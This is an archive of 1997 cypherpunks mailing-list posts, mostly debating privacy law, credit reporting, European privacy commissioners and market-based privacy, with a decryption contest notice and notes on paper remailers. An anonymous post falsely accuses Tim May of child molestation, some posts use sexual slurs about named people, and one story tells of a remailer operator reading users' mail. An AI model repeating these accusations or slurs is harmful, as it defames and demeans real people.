MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03007801afb61ffec219@[207.172.96.178]>, on 05/31/97 
   at 03:02 PM, Marc Rotenberg <rotenberg@epic.org> said:

>For the hardcore free market types, take a look
>at Posner's *Economics of Justice.* There are
>good economic reasons for privacy laws, e.g.
>do you really want to negotiate with the telcos
>on a case-by-case basis whether they can sell
>the contents of your phonecalls?

<sigh> It's really a shame when Socialist/Statest try to use the "free
market" to justify big government.

Your example is *not* how the free market would address the issue. If the
Telco's tried to sell the contents of indivdule's phone calls there would
be an increased demand for encrypted phones. This demand would then be met
by the electroins/communication industry (granted there would be some lag
time between the initial selling of phone contents and the first
crypto-phones getting to market but hey nothings perfect).

Now if we had a truely free market in the Telco Industry the consumer
would have the choice between several telco compaines to deal with. If one
decided to start selling recordings of its customers phone conversations
it's customers would leave in droves to its competition.

This is just simple economics 101. You can't have a free society in a
socialist, federally regulated economy.


More government agencies, rules & regulations are *NEVER* a solution.

It's an intresting side note that the reason why the Cell Phones in this
country do not use strong crypto is because of the intervention of the FCC
and associated Federal LEA's.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Sun, 1 Jun 1997 03:13:59 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007800afb5dc075d18@[207.172.33.39]>
Message-ID: <v03007801afb61ffec219@[207.172.96.178]>
MIME-Version: 1.0
Content-Type: text/plain



Back to Tim's original point, I wonder if he knows
that the P-TRAK data that Lexis/Nexis said was
"public information" was actually taken from
credit reports collected and sold by TransUnion.
TU was able to sell the data because of a loophole
in the Fair Credit Reporting Act. Sure, you post
to the net that's public, but a lot of data collection
is much more sleazy.

I'd also appreciate some comment/criticism on
the piece I did for Wired. My point was that
in countries where there are legal rights to
privacy it will be easier for technologies of privacy
to flourish. I gave as examples the fact that PRZ
was nearly indicted in the US while David Chaum
was being applauded by the European Commission
for building anonymous payment schemes. The OECD
crypto policy drafting experience confirmed my
suspicion.

Let me also try to explain how the simple-minded
First Amendment-privacy rights trade-off often
misses the point about privacy claims.  Consider
the article about Judge Bork's video viewing
habits back in 1987. Should Congress/the Courts
prevent City Paper from publishing the article?
Of course not. Could Congress/the Courts require
video record stores not to disclose customer
records without explict consent? You decide.

For the hardcore free market types, take a look
at Posner's *Economics of Justice.* There are
good economic reasons for privacy laws, e.g.
do you really want to negotiate with the telcos
on a case-by-case basis whether they can sell
the contents of your phonecalls?

To be clear, I do believe that there should be
laws to protect the right of privacy and that
there should be an office within the federal
government to advocate on behalf of privacy
interests. I also believe that if such an agency
had been established in 1991 when it was proposed,
it would have been much harder for the government
to push subsequently for digital telephony, Clipper,
GAK, etc.

Marc.




At 12:12 PM -0400 5/31/97, Declan McCullagh wrote:
>I'm now more awake than I was before, and a little less
>flippant, so let me try to respond to Marc's statement
>saying my summary of his "views on privacy below are
>just silly."
>
>The initial question has to be not how you protect rights,
>but how you define them. For example, we have a right
>to speak freely; there should be strict limits on
>government controls on free expression or the press.
>The state has unique powers of coercion. Similarly,
>there should be strict limits on government collection
>of personal data about its citizens.
>
>But transactional privacy is a different matter. Sure,
>we may generally agree that privacy is the famous
>"right to be left alone," but how does that extend to
>what happens when I make an affirmative choice to
>connect to a web site that might record some info
>about my visit -- as an alternative to charging me?
>Nobody's forcing me to visit that site. That's why
>I'm starting to come around to the idea that privacy
>is not a universal right but a preference. We need a
>market in privacy, not inflexible FTC rulemaking.
>
>Oh, and the much-touted European Privacy Directive has
>made it near-impossible to exchange employee
>information between branches of the same firm that are
>physically in different countries. Bad move,
>Eurocrats.
>
>-Declan
>
>
>
>On Sat, 31 May 1997, Marc Rotenberg wrote:
>
>> People who are interested in why I am pro-individual freedom
>> but not anti-government should take a look a my piece in Wired
>> "Eurocrats Do Good Privacy." [4.05]
>>
>> I spent a year working for a good crypto policy at the OECD.
>> During that time I watched European government officials
>> argue for constitutional freedoms and against key escrow,
>> while business representatives quietly backed the US
>> GAK plan. Welcome to the real world.
>>
>> Marc.
>>
>> Btw - Declan's summary of our views on privacy below are
>> just silly. Many of the greatest defenders of First Amendment
>> freedoms have also felt most strongly about the right of
>> privacy. The question is always how you protect rights.
>> Perhaps libertarians would do away with all laws that protect
>> personal freedoms. Bad call.
>>
>>
>>  At 3:21 AM -0400 5/31/97, Declan McCullagh wrote:
>> >Unfortunately, Tim is letting a rant get in the way of reality. A shame,
>> >really, for he's capable of better. Let me respond. I may not be very
>> >cordial. We lost tonight's soccer game (goddamn wimpy libertarians) and
>> >went to some cheezy Crystal City sports bar afterwards. I just got back
>> >home, and it's 3:20 am...
>> >
>> >Anyway, Rotenberg and EPIC are not the Uber Enemy. Rather, they disagree
>> >with cypherpunk and libertarian positions on some issues. So we have
>> >issue-by-issue alliances with them. Let's break it down:
>> >
>> >------------------------------
>> >CRYPTO: EPIC takes a purist civil liberties approach to crypto. They've
>> >been the ones criticizing the SAFE "crypto in crime" provisions. Did the
>> >latest VTW alert sent out today even mention that portion of the bill, let
>> >alone criticize it?
>> >
>> >ANONYMITY: No other group in DC is such a staunch supporter of online
>> >anonymity publicly, though look for something from Cato soon. In fact, I
>> >linked to EPIC's copy of the McIntyre decision for my Friday Netly piece.
>> >Many business groups don't like anonymity online -- hurts the marketeers.
>> >
>> >FREE SPEECH: EPIC is co-counsel in ACLU lawsuit against CDA. I believe
>> >they've said some of the anti-spam legislation is unconstitutional.
>> >
>> >FOIA: David Sobel does fabulous work snagging government documents the
>> >spooks don't want released.
>> >
>> >PRIVACY: EPIC wants more Federal involvement to protect privacy and a
>> >Federal Privacy Commission (or something similar). Lots of laws,
>> >bureaucracies. Though EPIC does realize there's a First Amendment; other
>> >privacy groups are even more aggressive. EPIC is of course on the side of
>> >libertarians when it comes to government violations of privacy.
>> >------------------------------
>> >
>> >From a libertarian perspective, EPIC is good on everything but privacy. On
>> >that they want Big Government solutions.
>> >
>> >But that doesn't mean we reject and condemn what they do on other issues.
>> >Do we reject Eagle Forum's anti-Clipper endorsement because they're a
>> >bunch of ultraconservative wackos? Do we reject the National Organization
>> >for Women's position on the CDA as bad because they're a bunch of
>> >ultraliberal wackos? How about the National Association of Broadcaster's
>> >amicus brief against the CDA? The Christian Coalition rejecting a national
>> >ID cards and numbers? Ralph Nader wanting open access to government
>> >databases?
>> >
>> >No. We don't. Instead, we address this issue by issue. EPIC and Rotenberg
>> >are not always, but are often, our allies.
>> >
>> >-Declan
>> >
>> >
>> >On Fri, 30 May 1997, Tim May wrote:
>> >
>> >>
>> >> I suppose I am developing a reputation amongst the Inside the Beltway
>>Cyber
>> >> Rights Groups (tm) as a pain in the ass, but nearly everytime I see
>>one of
>> >> their chief spokeswonks giving a policy statement I realize they are "not
>> >> on my side."
>> >>
>> >> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
>> >> anti-spam legislation, saying that what the legislators in Congress
>>really
>> >> need to look into is how the spammers develop their data bases.....
>> >>
>> >> Incredible. Does he propose investigations of private data gathering?
>> >> Perhaps search warrants served on those who take public postings and
>> >> construct data bases?
>> >>
>> >> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
>> >> realize the "spammers" are merely  taking publicly available (= legally
>> >> available, as 99.99% of all such information is) information and using
>> >> legal channels to contact me. I may not "like" it, but their behavior
>>is as
>> >> legal as someone calling me on the phone.
>> >>
>> >> (And ny nearly any measure of hassle factor, dashing to get to the phone
>> >> only to find it's a salesman selling something I don't want is worse than
>> >> any 20 unwanted e-mail messages.)
>> >>
>> >> So, Marc Rotenberg wants Congress to "look into" (= interfere with)
>> >> compilation and use of public information.
>> >>
>> >> These people are NOT our allies.
>> >>
>> >> --Tim May
>> >>
>> >> There's something wrong when I'm a felon under an increasing number
>>of laws.
>> >> Only one response to the key grabbers is warranted: "Death to Tyrants!"
>> >>
>>---------:---------:---------:---------:---------:---------:---------:----
>> >> Timothy C. May              | Crypto Anarchy: encryption, digital money,
>> >> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms,
>>zero
>> >> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
>>markets,
>> >> Higher Power: 2^1398269     | black markets, collapse of governments.
>> >> "National borders aren't even speed bumps on the information
>>superhighway."
>> >>
>> >>
>> >>
>> >>
>> >>
>>
>>
>>
>> ==================================================================
>> Marc Rotenberg, director                *   +1 202 544 9240 (tel)
>> Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
>> 666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
>> Washington, DC 20003   USA              +   http://www.epic.org
>> ==================================================================
>>
>>
>>
>>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sun, 1 Jun 1997 04:21:50 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb61ffec219@[207.172.96.178]>
Message-ID: <Pine.SOL.3.96.970531150013.3535A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 31 May 1997, Marc Rotenberg wrote:

> Let me also try to explain how the simple-minded
> First Amendment-privacy rights trade-off often
> misses the point about privacy claims.  Consider
> the article about Judge Bork's video viewing
> habits back in 1987. Should Congress/the Courts
> prevent City Paper from publishing the article?
> Of course not. Could Congress/the Courts require
> video record stores not to disclose customer
> records without explict consent? You decide.

Well, this may merely point up the fact that next to
government--or perhaps more than gov't--the greatest
threat to privacy is the existence of a free press.
That trade-off may be simple, but "simple-minded" seems
a little strongly put.

As for Posner, who's often good for a laugh, particularly 
when taken out of context, his point so often reduces to
a simple one itself: Which is easier (cheaper, more efficient,
etc.), law or the market?  Given that perfection in markets,
as in golf and most other things, is unattainable, sometimes
we shall have to resort to law, as in the "negotiating with the
telephone company" example.  But I think these are exceptions
to Tim's points, not necessarily invaliations of them.
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 03:33:47 +0800
To: cypherpunks@toad.com
Subject: Re: The Bible Code
In-Reply-To: <199705311659.MAA27760@dhp.com>
Message-ID: <HR2k8D55w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


lucifer@dhp.com (lucifer Anonymous Remailer) writes:
> I will shortly be releasing my new book, "The ASCII Code" which
> outlines the predictions made based on decrypting the hidden
> messages in the ASCII artwork sent to the cypherpunks list.
>
> Since none of the predictions have proven accurate, my book
> speculates that perhaps Tim May isn't a cocksucker, after all.

But John Gilmore is surely a cocksucker.

I've met Rips, who's supposedly behind this "bible code" nonsense.
He's an asshole, and I dismiss anything he says as total bullshit.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 1 Jun 1997 03:45:51 +0800
To: cypherpunks@toad.com
Subject: Seismic Data Authenticator
Message-ID: <1.5.4.32.19970531192953.006e1870@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Payne has provided his 1992 Sandia report:

   "Data Authenticator for the Deployable Seismic 
   Verification System"

Marked "For Official Use Only."

The 185-page paper describes in fine detail the
design, data security and fabrication (with photos and 
technical drawings) of the third generation authentification
device for verfiying seismic data in connection with the 
nuclear weapons control-START treaties with the USSR.

The paper also cites deficient cryptographic algorithms 
provided by NSA for the device.

   http://jya.com/da/whpda.htm   (98K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 1 Jun 1997 06:46:34 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb61ffec219@[207.172.96.178]>
Message-ID: <3.0.2.32.19970531153135.0076a2e4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>At 12:02 PM -0700 5/31/97, Marc Rotenberg wrote:
>>To be clear, I do believe that there should be
>>laws to protect the right of privacy and that
>>there should be an office within the federal
>>government to advocate on behalf of privacy
>>interests. I also believe that if such an agency
>>had been established in 1991 when it was proposed,
>>it would have been much harder for the government
>>to push subsequently for digital telephony, Clipper,
>>GAK, etc.

I am somewhat surprised that you would make this claim, given that you must
have researched the situation in Europe for your article.

European style Privacy Commissioners solely limit the ability of _private_
entities to keep databases. They do not limit the ability of public
entities to keep databases. Sure, when a European government wants to bring
a new Big Brother database online, the Privacy Commissioner has to sign off
on the plan. This is typically a rubber stamp approval. Even worse, the
Privacy Commissioner rubber stamping the plan usually ends discussion,
since the government now can claim that their database is harmless because
the Privacy Commissioner has approved it.

German "dragnet investigations" and "pattern investigations" come to mind.
The German BKA (the equivalent of the FBI) keeps a giant database that
correlates "suspicious" behavior. Paying your utilities bills in cash
(unusual in GIRO-happy Germany) gets you points. If the person on the bill
isn't registered with the police at the address on the bill you get more
points. Paying your rent in cash gets you points. If they don't have a
social security record for you, more points yet. There are many other
criteria that will get you points.

If you collect enough points, the feds come by to interrogate you. Yes, the
Privacy Commissioner approved this "pattern investigation". In the interest
of space, I will spare the list what "dragnet investigation" entails.

It appears naive to claim that GAK could not happen under a Privacy
Commissioner. It could and it will.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 1 Jun 1997 06:42:05 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: legal EAR work-around/Paper based remailers
In-Reply-To: <199705311334.IAA18924@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970531153330.00768e3c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:00 PM 5/31/97 +0100, Adam Back wrote:
>Do you have a copy of PGP5.0 on there?  I wouldn't mind looking at
>that.

PGP 5.0 can be obtained from the usual sources.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 1 Jun 1997 06:49:11 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102805afb627d83acf@[207.167.93.63]>
Message-ID: <v03102806afb650b3d40d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:33 PM -0700 5/31/97, Marc Rotenberg wrote:


>It's an interesting argument. I don't agree, though
>you can certaintly try it. But more to the point of

Oh, I don't intend to "try it." The Supreme Court is far past ever
restoring basic constitutional rights. Instead of "trying it," better to
monkeywrench it.

>your original post, is the information that TransUnion
>sold to Lexis/Nexis for P-TRAK "public information"?
>If yes, what is private information?

It all depends on what was agreed to, tacitly or explicitly, in the process
of applying for and accepting a credit card. I seem to recall "agreeing to"
multiple pages of fine print about how and to whom information could be
disclosed. That most of us ignore such fine print is our problem....I don't
think there's been any allegation, even by you, Marc, that what Equifax is
doing with credit information is breaking either the contract or any
existing laws. You just want a new set of laws to do what contracts are
perfectly capable of doing. Those who want protection of information
disclosed to others should, of course, make such arrangements.

(And such arrangements are made all the time. Examples abound.)

That such arrangements for a "privacy card" are not easy to make is not an
issue for the law to meddle with. In fact, many of us think there's a
market for just such a "privacy card," and, absent meddling by government,
expect such a card to appear



>I agree that there are real threats to cyber freedom in Europe.
>I'm not saying otherwise. But my point is that anonymous remailers
>and the like will have a better future in countries that recognize
>a right of anonymity as opposed to those that don't.

Despite my dislike of most of what passes for the American system, I'll
take the protections of the First, augmented with the 1956 "anonymous
leafletting" Supreme case, over the "ad hoc" protections nearly all
Europeans have (or don't have).



>The question is what are you going to do with companies
>that won't let you buy a product unless you provide
>your True Name?

The answer to this is both simple and profound. You have heard the answer
many times, but you probably dismiss it as just libertarian rhetoric.

In any mutually uncoerced transaction, say between Alice and Bob, whether
Alice and Bob are individuals, groups, corporations, or whatever, each may
"ask for" various things. You can imagine some things to be asked for.

Either is free to decline the terms of the other and call off the transaction.

(I'm not a lawyer, but I believe this is covered in Contracts. Not meaning
to be snide, but it's essential that people realize _contracts_ are what we
are talking about here.)

So, were a company to refuse to sell me a product unless I provided my True
Name, I would decide just how important this issue is to me.  If it were of
compelling interest to me, I would walk away from the transaction.

(There is no "right" to buy something from someone.)

In reality, I cannot remember the last time a store demanded a True Name,
except when: a) credit (check or credit card or loan) was involved, or b)
the government demanded such a True Name.

The first situation is avoided by paying cash, using a deposit, etc.  The
second situation is not so easily avoided.

But I submit that the hypo of a company refusing to sell a product unless a
True Name is given is unlikely in the extreme, and is not any kind of
justification for a new set of so-called privacy laws which actually
interfere with other basic rights.

>One of the consequences of legal obligations on companies
>that collect personal information might be to encourage
>more payment anonymous, psuedo-anonymous payment schemes.
>Wouldn't that be a good result?

If privacy is important to an agent, make it part of the contractual
arrangement. Again, this is already done in a huge array of cases.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 1 Jun 1997 06:59:56 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
Message-ID: <199705312243.PAA16312@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
> 
> I suppose I am developing a reputation amongst the Inside the Beltway Cyber
> Rights Groups (tm) as a pain in the ass

  A polite, mild-mannered person such as yourself? I can't imagine.

> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
> anti-spam legislation, saying that what the legislators in Congress really
> need to look into is how the spammers develop their data bases.....
> 
> Incredible. Does he propose investigations of private data gathering?
> Perhaps search warrants served on those who take public postings and
> construct data bases?
> 
> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
> realize 

  I'm certain you also realize that enough of our rights and freedoms
are being taken away in order to save us from "dangerous threats" from
every conceivable source, that we have little use for even more of them
being taken away to protect us from "annoyances."
  I think I'll email Rotenberg and suggest that he enlist Tim May's
support by promising legislation to support warrantless searches for
the purpose of stopping the ASCII art slams of Tim. Knowing how our
"saviors" end up walking with the Devil *over* the bridge once they
become enmeshed in the D.C. mentality, Rotenberg will probably thank
me for the idea.

  To save the citizenry from the "annoyance" of unregulated sidewalk
traffic the city of Moose Jaw, Saskatchewan, passed a law requiring
people to walk on the left side of the sidewalk.
  I sent in a facetious letter to the newspaper supporting the law,
saying things like, "Use of the sidewalk is a privilege, not a right."
etc. I couldn't believe the number of lunatics who took my letter
seriously and supported my position.

  One of my goals in life is to hunt down, mutilate, maim and torture
the individual who coined the expression, "There ought to be a law."

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 1 Jun 1997 03:57:35 +0800
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: legal EAR work-around/Paper based remailers
In-Reply-To: <199705310853.JAA00659@server.test.net>
Message-ID: <199705311943.PAA10259@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:

| Technical questions: If this is to include uuencoded or radix-64 mime
| encoding, we might want to think about redundancy to allow error
| correction.  Perhaps we want that anyway to ensure that what we have
| is 100% character-by-character perfect.  Or perhaps not as it may
| damage the legality aspects.  They may start saying that you can only
| export human readable stuff on paper, etc.  Then we move on to `texto'
| apparently human readable steganographically encoded paper based
| remailer messages.

	The place we really want the redundancy is in the alphabet
used, not in the data.  Most OCR systems have clever algorithims to
figure out that that blob after a 'q' is really a 'u'.

	To take advantage of this, you could encode everything in
RFC1751(?, S/Key style) word lists.  The expansion factor is extreme,
so use gzip --best.

	Alternately, you could turn off context sensitivity on your
scanner, and use an alphabet of abcdfgijknopqrstuvxyz (depending on
your font--in lucida these are all pretty dissimilar, using a
hueristic of 'more than one led bar' different.)

	With some experimentation, you might be able to expand that a
bit with punctuation and numbers.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 1 Jun 1997 07:05:50 +0800
To: cypherpunks@toad.com
Subject: Remailer Follies
Message-ID: <199705312243.PAA16315@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeff Burchell wrote:
> 
> I have added your address to my block list, this remailer won't send
> anything directly to you in the future. 

> -Jeff
> Operator... Huge.cajones.com

  I have a friend who used to operate a remailer and he told me a
story about receiving an abuse complaint and request for blocking
from an acquaintance who was unaware that he was the operator of
the remailer. The person making the complaint was also a user of
the remailer.
  My friend composed a highly officious reply which indicated that
he had logged and read the remailer messages of both parties and
had reached the conclusion that the complaintant was indeed a
fascist, asshole, etc. and thus did not have a valid complaint
according to the policy of the remailer. He included enough 
personal details regarding the complaintant to indicate that he
had actually been snooping through the messages.
  The complaintant was dumbfounded and responded with a message
asking, "Are you crazy? Do you have any fucking idea what the
concept of anonymity implies?", etc. He concluded by stating that
in the future he would be using encryption in his remailer activity
and send them via other remailers.

  My friend enlisted the aide of another remailer operator who
was a close friend of the complaintant and was known by him to
be the operator of the second remailer.
  The second fellow emailed his friend to announce that a group
discussion between remailer operators had resulted in the decision
that his friend would only be allowed to send plaintext messages
through the remailers since it was standard policy to monitor the
messages to and from "troublemakers" in order to protect the
operators from unfounded accusations against them.
  At this point the complaintant was slightly suspicious of being
the butt of a joke but he was still gullible enough that the two
remailer operators had a bit more fun before copping to the fact
that they were just yanking the complaintant's chain. They had 
the decency to promise not to use the complaintant's real name
when telling the story of their prankery.

> P.S.  Besides... aren't ad hominum attacks on Tim May a Cypherpunks
>       tradition?

  A day without a Tim C. May attack is like a day without moonshine.

MailMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 04:58:34 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb61ffec219@[207.172.96.178]>
Message-ID: <k25k8D56w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Marc Rotenberg <rotenberg@epic.org> writes:
> Let me also try to explain how the simple-minded
> First Amendment-privacy rights trade-off often
> misses the point about privacy claims.  Consider
> the article about Judge Bork's video viewing
> habits back in 1987. Should Congress/the Courts
> prevent City Paper from publishing the article?
> Of course not. Could Congress/the Courts require
> video record stores not to disclose customer
> records without explict consent? You decide.

This law is unenforceable.  If you want to rent porn videos and you have
some brains (the two may be mutually exclusive...) you'd pay cash and
make the transaction totally anonymous.

Should there also be a law against grocers keeping track of who's buying what?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 05:01:00 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531140858.21537A-100000@cp.pathfinder.com>
Message-ID: <s65k8D57w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh <declan@pathfinder.com> writes:

>
> On Sat, 31 May 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Of course, the "anti-spamming" laws will also be used to suppress the
> > "politically incorrect" speech.  Recall that Jim Bell has already been
> > accused of "spamming", in addition to other crimes.
>
> Uh, no. Bell was charged with violating:
>
> 26 U.S.C. Section 7212(a)
> 42 U.S.C. Section 408(a)
>
> Which are, generally, attempts to interfere with administration of
> internal revenue laws and fraudulent use of a false SSN.
>
> Besides, spamming isn't a criminal offense, last time I checked.
>
> In the interests of completeness, I should note that I just finished a
> rather long article about Bell's arrest and related events for Internet
> Underground magazine. The government hinted that they might have
> additional charges to file against Bell by the time the grand jury
> convenes in probably two weeks. He is currently being held without bail, a
> situation more common in Federal than state courts.

We're talking about different things, Declan.  Learn to read.

I reposted someone's Usenet article whose author accused Jim of "spamming
the net" with his AP essay.  That's separate from his criminal charges.
If "spamming" were a crime, he'd probably be charged with that too.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataET Research <staff@dataet.com>
Date: Sun, 1 Jun 1997 07:47:40 +0800
To: cypherpunks@toad.com
Subject: Decryption Contest Details (Updated)
Message-ID: <3390B399.49BC@dataet.com>
MIME-Version: 1.0
Content-Type: text/plain


Host: DataET Research (http://www.dataet.com)
Contest expiration date: July 1st, 1997
Encrypted file location:
http://www.dataet.com/public/source/vsacmv20/crackit.dat
Applied encryption algorithm: VSA2048
Encryption algorithm source code:
http://www.dataet.com/public/source/vsacmv20/
Applied key size: 120 bits (15 bytes)
Key byte value range: 0 to 255 (decimal), 00 to FF (hexadecimal)
Encrypted (secured) file size: 50,000 bytes (binary, Intel)
Decrypted (unsecured) file size: 50,000 bytes (binary, Intel)
Key and message post location: cypherpunks@toad.com
Contact: info@dataet.com
Limitations: U.S. residents only
Prize: Two free basic Web site packages and $200.00 U.S.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 04:54:13 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102803afb61b594b27@[207.167.93.63]>
Message-ID: <Bc6k8D58w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:
> Like speaking in French amongst other people who don't understand French,
> or using hand signals, or using a code book. Or whispering.

It amuses me to hear this from the ignoramus who preaches that there's
no need for Americans to learn foreign languages.

It also reminds of a recent case when Spanish-speaking nurses were
disciplined for speaking Spanish in the presense of their supervisor
who didn't understand it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sun, 1 Jun 1997 08:26:17 +0800
To: cypherpunks@toad.com
Subject: Government Conspiracy
Message-ID: <199706010011.RAA17277@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain



Timmy C. Mayflower sexually molests little children, farm 
animals, and inanimate objects.

     < >            < >
      V    )_.._(    V Timmy C. Mayflower
      \\   <____>   //
        ~ <______> ~      >
        /~\______/~\     //
        /~\_____/~\     /_\
        /~\____/~\     /_\
         /~\___/\~\  _/_\/
            \___/\__/__\/
              \___/__\/

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Sun, 1 Jun 1997 05:45:46 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb61ffec219@[207.172.96.178]>
Message-ID: <v03007801afb643715b3a@[207.172.96.178]>
MIME-Version: 1.0
Content-Type: text/plain


>At 12:02 PM -0700 5/31/97, Marc Rotenberg wrote:
>>Back to Tim's original point, I wonder if he knows
>>that the P-TRAK data that Lexis/Nexis said was
>>"public information" was actually taken from
>>credit reports collected and sold by TransUnion.
>>TU was able to sell the data because of a loophole
>>in the Fair Credit Reporting Act. Sure, you post
>>to the net that's public, but a lot of data collection
>>is much more sleazy.
>
>In my view, the Fair Credit Reporting Act is an unconstitutional
>restriction on my right to compile records as I see fit.
>
>Under the FCRA, if I take newspaper reports and public filings, for
>example, of someone's bankruptcy in 1985 and make this part of "Tim's
>Credit Evaluation" of that person, I have violated the FCRA.
>
>(I believe the current "limit" for such "rememberances" is 8 years. Why
>should the government have any ability to tell me I must "forget" records
>older than 8 years? In fact, what part of "Congress shall make no law..."
>do they not understand?)

It's an interesting argument. I don't agree, though
you can certaintly try it. But more to the point of
your original post, is the information that TransUnion
sold to Lexis/Nexis for P-TRAK "public information"?
If yes, what is private information?

